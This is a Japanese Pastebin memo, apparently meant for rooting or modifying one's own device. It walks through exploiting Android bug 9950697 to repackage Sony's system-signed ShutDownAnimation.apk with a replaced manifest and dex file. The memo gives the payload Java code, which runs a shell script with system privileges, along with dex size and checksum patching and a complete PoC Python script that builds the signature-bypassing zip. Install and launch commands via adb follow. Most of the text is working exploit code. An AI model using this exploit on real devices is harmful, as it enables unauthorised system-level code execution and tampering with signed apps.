cubecube

bug 9950697を使ったapk改変メモ

Nov 12th, 2013
411
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 10.10 KB | None | 0 0
  1. ■当方の検証環境
  2. Windows 7
  3. SO-01E
  4.  
  5. ■apkの条件
  6. ・uid=1000で動くアプリであること
  7.  service call package 24 i32 1000
  8.  を端末のシェルで実行すると、(見づらいが)uid=1000で動くアプリのパッケージ名が列挙される
  9. ・通常のAndroidの動作を邪魔しない、およびアプリデータが初期化されても問題無いものであること
  10.  後始末でアップデートの削除をする時に、どうしてもアプリのデータが初期化されてしまうようです
  11. ・deodexなapk(対になるodexファイルが無く、apkにclasses.dexが埋め込まれているタイプ)であること
  12.  コードを改変しなくても操作する手法はありますが、面倒です
  13.  ここでは触れませんが、JDKに含まれるjdbを使って起動中の改変アプリを操作する感じです
  14. ・中に含まれるclasses.dexのサイズが64kBであること
  15.  
  16. ■手順
  17. 1.ターゲットとなるapkをゲット
  18.  今回はShutDownAnimation.apk(com.sonyericsson.shutdownanim)を材料にします
  19.  classes.dexのサイズも10kBと手頃です
  20.  
  21. 2.apktool等でShutDownAnimation.apkを展開
  22.  
  23. 3.AndroidManifest.xmlの改変
  24.  <manifest><application>タグが残っていればあとは割と自由です
  25.  ただ改変の機構上、ファイルサイズがオリジナルより小さくなければなりません
  26.  <application>の内側に<activity>が1個だけある状態で十分でしょう
  27.  
  28.  まず、<manifest>の属性にandroid:sharedUserId="android.uid.system"があることを確認、これでuid=1000で動きます
  29.  android:versionCodeは変えなくてもイケると思いますが、心配であれば数値を1増やしておきます
  30.  android:versionNameもそのままでいいですが、ここを変えておくと端末の設定→アプリで表示されるので、検証時に改変状態であることが分かりやすくなります
  31.  その他の<manifest><application>の属性はそのままでいいでしょう
  32.  私は以下のようにしました
  33.  
  34. ●---------- AndroidManifest.xml ----------
  35. <?xml version="1.0" encoding="utf-8"?>
  36. <manifest android:sharedUserId="android.uid.system" android:versionCode="2" android:versionName="1.0mod" package="com.sonyericsson.shutdownanim"
  37. xmlns:android="http://schemas.android.com/apk/res/android">
  38. <application android:label="@string/app_name">
  39. <activity android:theme="@*android:style/Theme.Translucent.NoTitleBar" android:name=".MainActivity">
  40. <intent-filter>
  41. <action android:name="android.intent.action.MAIN" />
  42. </intent-filter>
  43. </activity>
  44. </application>
  45. </manifest>
  46. --------------------●
  47.  
  48. ShutDownAnimation.apkには実は元々<activity>タグはありませんでしたが、大胆に変えています
  49. android:theme=~は、アプリを起動しても背景が透明になります(ホーム画面が透けて見えますが、上にアプリが乗っかってるのでホームの操作は出来ません)
  50. MainActivityクラスも元々存在しませんが、のちにコードを書きます
  51. アプリ一覧に出てくる必要も無いので、<intent-filter>もこれだけで良いでしょう
  52.  
  53. 4.コードの改変
  54. 改変というか、ほとんど入れ替えです
  55. smali/com/sonyericsson/shutdownanimフォルダにいろいろsmaliファイルが入ってますが、全部削除します
  56. その代わりに、MainActivity.smaliを自作して配置します
  57. smaliが直接コーディング出来る人は、テキストで直書きしても良いでしょう
  58. 私はeclipseで適当なアプリを作ってJavaでコーディングしてコンパイル→apktoolで展開→MainActivity.smaliを取り出して(コードのクラスのパス等は修正して)利用、ということをしました
  59. (smali内のLcom/hoge/fuga/MainActivity;をLcom/sonyericsson/shutdownanim/MainActivity;にすればいいですね)
  60. 内容としては、onCreateにコマンドを実行するコードを書くだけですね
  61.  
  62. ●---------- MainActivity.java ----------
  63. package com.hoge.fuga;
  64.  
  65. import java.io.IOException;
  66.  
  67. import android.os.Bundle;
  68. import android.app.Activity;
  69. import android.view.Menu;
  70.  
  71. public class MainActivity extends Activity {
  72.  
  73. @Override
  74. protected void onCreate(Bundle savedInstanceState) {
  75. super.onCreate(savedInstanceState);
  76. execSystem();
  77. }
  78.  
  79. private void execSystem() {
  80. String[] command = {"/system/bin/sh", "-c", "/data/local/tmp/systemexec.sh"};
  81. ProcessBuilder pb = new ProcessBuilder(command);
  82. try {
  83. pb.start();
  84. } catch (IOException e) {
  85. // TODO 自動生成された catch ブロック
  86. e.printStackTrace();
  87. }
  88. }
  89. }
  90. --------------------●
  91.  
  92. 上記例では、アプリが起動するとsystem権限で/data/local/tmp/systemexec.shが実行されることになります
  93.  
  94. 5.apktool等でコンパイル・改変ファイルを取り出す
  95. コンパイル後のShutDownAnimation.apkはそのまま使うわけではありません
  96. 7zip等で、apkの中に入ってるAndroidManifest.xml(改)とclasses.dex(改)を取り出します
  97.  
  98. 6.classes.dex(改)をいじる
  99. まず、classes.dex(改)のサイズを、オリジナルのclasses.dexに合わせます
  100. (改)はオリジナルより小さくなってるはずなので、足りない分、末尾にヌル文字を追加します
  101. pythonスクリプトだと以下のような感じです
  102.  
  103. ●---------- padding.py ----------
  104. file_old = open('classes.dex', 'rb')
  105. old = file_old.read()
  106. file_old.close()
  107.  
  108. file_new = open('classes.dex', 'wb')
  109. file_new.write(old)
  110. file_new.write('\0' * (10224 - len(old)))
  111. file_new.close()
  112. --------------------●
  113.  
  114. 10224というところは、オリジナルのclasses.dexのサイズに読み替えてください
  115.  
  116. さて、classes.dexにはサイズ情報とチェックサムが埋め込まれているので、バイナリエディタで修正します
  117. まずサイズですが、これはclasses.dexの0x20バイト目から多分4バイト分です
  118. オリジナルのclasses.dexのサイズが10224とすると、16進数で0x27F0になります
  119. リトルエンディアンで逆になるので、classes.dexの0x20を0xF0、0x21を0x27にします
  120.  
  121. ADDRESS 00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F
  122. ---------------------------------------------------------
  123. ~
  124. 00000020 F0 27 00 00 ~
  125.  
  126. 上記改変により、チェックサムも変わってきます
  127. チェックサムはclasses.dexの0x08バイト目から4バイトが相当します
  128. 何のチェックサムかというと、classes.dexの0x0Cバイト目~末尾までに対するadler32という形式のものになります
  129. まず、classes.dexの冒頭12バイトを削り、classes.rawか何かに名前を変えて保存します
  130. そしてそのclasses.rawに対してadler32を算出します
  131. 私は手っ取り早く、オンラインでファイルをアップロードしadler32を算出してくれるサイトを利用しました
  132.  
  133. http://www.fileformat.info/tool/hash.htm
  134.  
  135. その結果、チェックサムは7f34ab0bと判明
  136. ということで、classes.dexの0x08~0x0bにこれを(リトルエンディアン、つまり逆で)書き込みます
  137.  
  138. ADDRESS 00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F
  139. ---------------------------------------------------------
  140. 00000000 ~ 0B AB 34 7F ~
  141.  
  142. 上記作業で出来たものをclasses.dex(改2)とします
  143. classes.dexいじりは以上です
  144.  
  145. 7.改変apkを生成
  146. オリジナルのShutDownAnimation.apk
  147. AndroidManifest.xml(改)
  148. classes.dex(改2)
  149. 以上を材料に、mod_ShutDownAnimation.apkを生成します
  150.  
  151. ●---------- poc_apkmod.py ----------
  152. import zipfile
  153. import struct
  154. import sys
  155.  
  156. # usage: ./poc_apkmod.py new.apk old.apk
  157. zout = zipfile.ZipFile(sys.argv[1], 'w')
  158. zin = zipfile.ZipFile(sys.argv[2], 'r')
  159. replace1 = 'AndroidManifest.xml'
  160. new1 = open('AndroidManifest.xml', 'rb').read()
  161. replace2 = 'classes.dex'
  162. new2 = open('classes.dex', 'rb').read()
  163.  
  164. fp = zout.fp
  165.  
  166. for name in zin.namelist():
  167. old = zin.read(name)
  168. if name == 'resources.arsc':
  169. zout.writestr(name, old, zipfile.ZIP_STORED)
  170. elif name.endswith('.png'):
  171. zout.writestr(name, old, zipfile.ZIP_STORED)
  172. elif name == replace1:
  173. assert len(new1) <= len(old)
  174.  
  175. # write header, old data, and record offset
  176. zout.writestr(name, old, zipfile.ZIP_STORED)
  177. offset = fp.tell()
  178.  
  179. # return to name length, set to skip old data
  180. fp.seek(-len(old) -len(name) -4, 1)
  181. fp.write(struct.pack('<H', len(name) + len(old)))
  182.  
  183. # after old data, write new data \0 padded
  184. fp.seek(offset)
  185. fp.write(new1)
  186. fp.write('\0' * (len(old) - len(new1)))
  187. elif name == replace2:
  188. assert len(new2) <= len(old)
  189.  
  190. # write header, old data, and record offset
  191. zout.writestr(name, old, zipfile.ZIP_STORED)
  192. offset = fp.tell()
  193.  
  194. # return to name length, set to skip old data
  195. fp.seek(-len(old) -len(name) -4, 1)
  196. fp.write(struct.pack('<H', len(name) + len(old)))
  197.  
  198. # after old data, write new data
  199. fp.seek(offset)
  200. fp.write(new2)
  201. else:
  202. zout.writestr(name, old, zipfile.ZIP_DEFLATED)
  203.  
  204. zout.close()
  205. zin.close()
  206. --------------------●
  207.  
  208. 材料たちを同じフォルダに突っ込み、上記pythonスクリプトを以下のコマンドラインで実行してください
  209.  
  210. test.py mod_ShutDownAnimation.apk ShutDownAnimation.apk
  211.  
  212. 成功すれば、同じフォルダにmod_ShutDownAnimation.apkが出来ます
  213.  
  214. 8.あとは煮るなり焼くなり
  215. ・改変アプリのインストール(アップデート)
  216. adb install -r mod_ShutDownAnimation.apk
  217.  
  218. ・改変アプリのMainActivity起動
  219. adb shell am start -a android.intent.action.MAIN -n com.sonyericsson.shutdownanim/.MainActivity
  220.  
  221. ・改変アプリのアンインストール(アップデート削除)
  222. adb shell pm uninstall -k com.sonyericsson.shutdownanim
  223. アップデート削除だからか、-kオプションを付けてもデータが削除されるようですが、念の為付けてます
Advertisement
Add Comment
Please, Sign In to add comment